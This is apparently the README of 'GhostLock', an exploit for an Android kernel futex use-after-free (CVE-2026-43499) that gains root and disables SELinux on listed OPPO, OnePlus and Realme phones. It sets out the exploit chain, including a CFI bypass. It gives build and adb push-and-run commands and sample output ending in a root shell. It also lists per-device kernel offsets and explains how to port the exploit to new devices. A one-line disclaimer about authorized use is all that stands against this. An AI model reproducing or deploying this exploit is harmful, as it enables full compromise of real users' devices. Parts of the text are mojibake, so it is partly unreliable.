
CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????
CVE आईडी: CVE-2026-43499
भेद्यता प्रकार: futex PI (प्राथमिकता विरासत) स्टैक UAF (Use-After-Free)
प्रभावित दायरा: Linux कर्नेल 6.1 ~ 6.12 (Android GKI)
शोषण परिणाम: स्थानीय विशेषाधिकार वृद्धि + SELinux अक्षम, root शेल प्राप्त करना
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
→ futex PI 操作触发 waiter 释放
→ 释放后的 waiter 内存被 fd_set 操作重用
→ 通过精心构造的 fd_set 数据控制 waiter 字段
→ rb_erase() 触发任意内核内存写入
pselect() + futex PI प्रतिस्पर्धा के माध्यम से कर्नेल स्टैक पर rt_mutex_waiter को मुक्त करनाpipe_buffer से कर्नेल हीप स्प्रे करके नकली rt_mutex_waiter तैयार करनाrb_erase() के ट्री संचालन का उपयोग करके नियंत्रित पॉइंटर को लक्ष्य पते पर लिखनाcred संरचना संशोधित करना: uid/gid → 0, capabilities → सभी सक्षमselinux_state.enforcing → 0ashmem_fops को पुनः स्कैन करनाGhostLock/
├── README.md # 本文档
├── src/
│ ├── core/ # 核心利用代码
│ │ ├── main.c # 主入口,漏洞触发
│ │ ├── pipe.c # pipe_buffer 喷射
│ │ ├── fops.c # 文件操作劫持
│ │ ├── root.c # 提权 + SELinux 禁用
│ │ ├── slide.c # 内核地址随机化处理
│ │ ├── util.c # 工具函数
│ │ ├── miniadb.c # 迷你 ADB 服务器
│ │ ├── common.h # 公共定义
│ │ ├── target.h # 目标配置
│ │ ├── offset.h # 偏移量包含
│ │ ├── runtime_offsets.h # 运行时偏移表
│ │ └── kernelsnitch/ # 内核地址探测
│ │ ├── kernelsnitch.h
│ │ ├── futex_hash.h
│ │ ├── utils.h
│ │ └── timeutils.h
│ └── devices/ # 设备适配
│ ├── offsets.h # 偏移量结构定义
│ ├── findx8/ # OPPO Find X8
│ │ └── offsets.h
│ ├── ace6t/ # OnePlus Ace 6T
│ │ └── offsets.h
│ ├── op15/ # OnePlus 15
│ │ └── offsets.h
│ ├── opd2502/ # OnePlus Pad 2
│ │ └── offsets.h
│ └── rmx5070/ # Realme RMX5070
│ └── offsets.h
├── tools/ # 辅助工具
│ └── extract_btf.py # BTF 偏移量提取脚本
├── btf_*.py # BTF 分析脚本集合
├── Makefile # 构建脚本
├── compile.cmd # Windows 编译脚本
├── build.rsp # 编译响应文件
└── ghostlock # 编译产物(ELF aarch64)
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. 编译
make
# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H=\"target.h\" \
src/core/*.c -o ghostlock
# 使用提供的 compile.cmd
compile.cmd
# 1. 确认设备连接
adb devices
# 2. 确认内核版本(必须匹配)
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
# प्रॉम्प्ट दिखाई देना (root शेल)id कमांड uid=0(root) दिखानाgetenforce Permissive लौटानाKIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
mm_struct का पता लगाने के लिए direct_map क्षेत्र स्कैन करनाpipe_buffer से कब्ज़ा करनाकर्नेल इमेज निकालना:
# 从手机提取 boot.img
adb pull /dev/block/by-name/boot boot.img
# 或者从固件包中提取
kallsyms निकालना:
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# 选择 "Extract kallsyms" 选项
BTF जानकारी निकालना:
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
डिवाइस प्रविष्टि बनाना:
mkdir -p src/devices/mydevice
# 复制现有条目作为模板
cp src/devices/findx8/offsets.h src/devices/mydevice/
# 修改偏移量
डिवाइस पंजीकृत करना:
src/devices/offsets.h में जोड़ें:
#include "mydevice/offsets.h"
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt
# 提取所有关键结构体
python3 btf_structs2.py > structs.txt
# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# 或者使用自定义脚本
python3 run_kallsyms_finder.py
⚠️ चेतावनी: यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है। बिना प्राधिकरण के अन्य लोगों के डिवाइस पर उपयोग करना अवैध है।
यह exploit कर्नेल की Control Flow Integrity (CFI) सुरक्षा को बायपास कर सकता है, जिसके माध्यम से:
ashmem_fops पते की वैधता सत्यापित करनाcopy_splice_read को वैध कॉल लक्ष्य के रूप में उपयोग करनाप्रश्न: "no offsets for kernel: xxx" दिखाई देना उत्तर: कर्नेल संस्करण समर्थित नहीं है, डिवाइस प्रविष्टि जोड़ने की आवश्यकता है
प्रश्न: exploit अटक जाना उत्तर: संभवतः रेस कंडीशन विफल हुई है, कुछ बार पुनः प्रयास करें
प्रश्न: kernel panic उत्पन्न होना उत्तर: संभावना कम है (panic_on_oops सेट नहीं है), लेकिन आप dmesg जाँच सकते हैं
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v
# 查看内核日志
adb shell dmesg | tail -50
यह परियोजना MIT लाइसेंस के अंतर्गत है।
अंतिम अद्यतन: 13 अगस्त 2026
लेखक: wzh
संपर्क: [email protected]
| डिवाइस | कर्नेल संस्करण | स्थिति |
|---|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ अनुकूलित |
| OnePlus Ace 6T | 6.1.x | ✅ सत्यापित |
| OnePlus 15 | 6.1.x | ✅ सत्यापित |
| OnePlus Pad 2 | 6.1.x | ✅ सत्यापित |
| Realme RMX5070 | 6.1.x | ✅ सत्यापित |
| प्रतीक | ऑफसेट |
|---|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
| संरचना | फ़ील्ड | ऑफसेट |
|---|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
| जानकारी | स्रोत | उपकरण |
|---|
| प्रतीक पता | kallsyms | vmlinux-to-elf |
| संरचना ऑफसेट | BTF | btf_task2.py |
| भौतिक मेमोरी लेआउट | IKCONFIG | extract-ikconfig |
| कर्नेल संस्करण | uname | adb shell uname -r |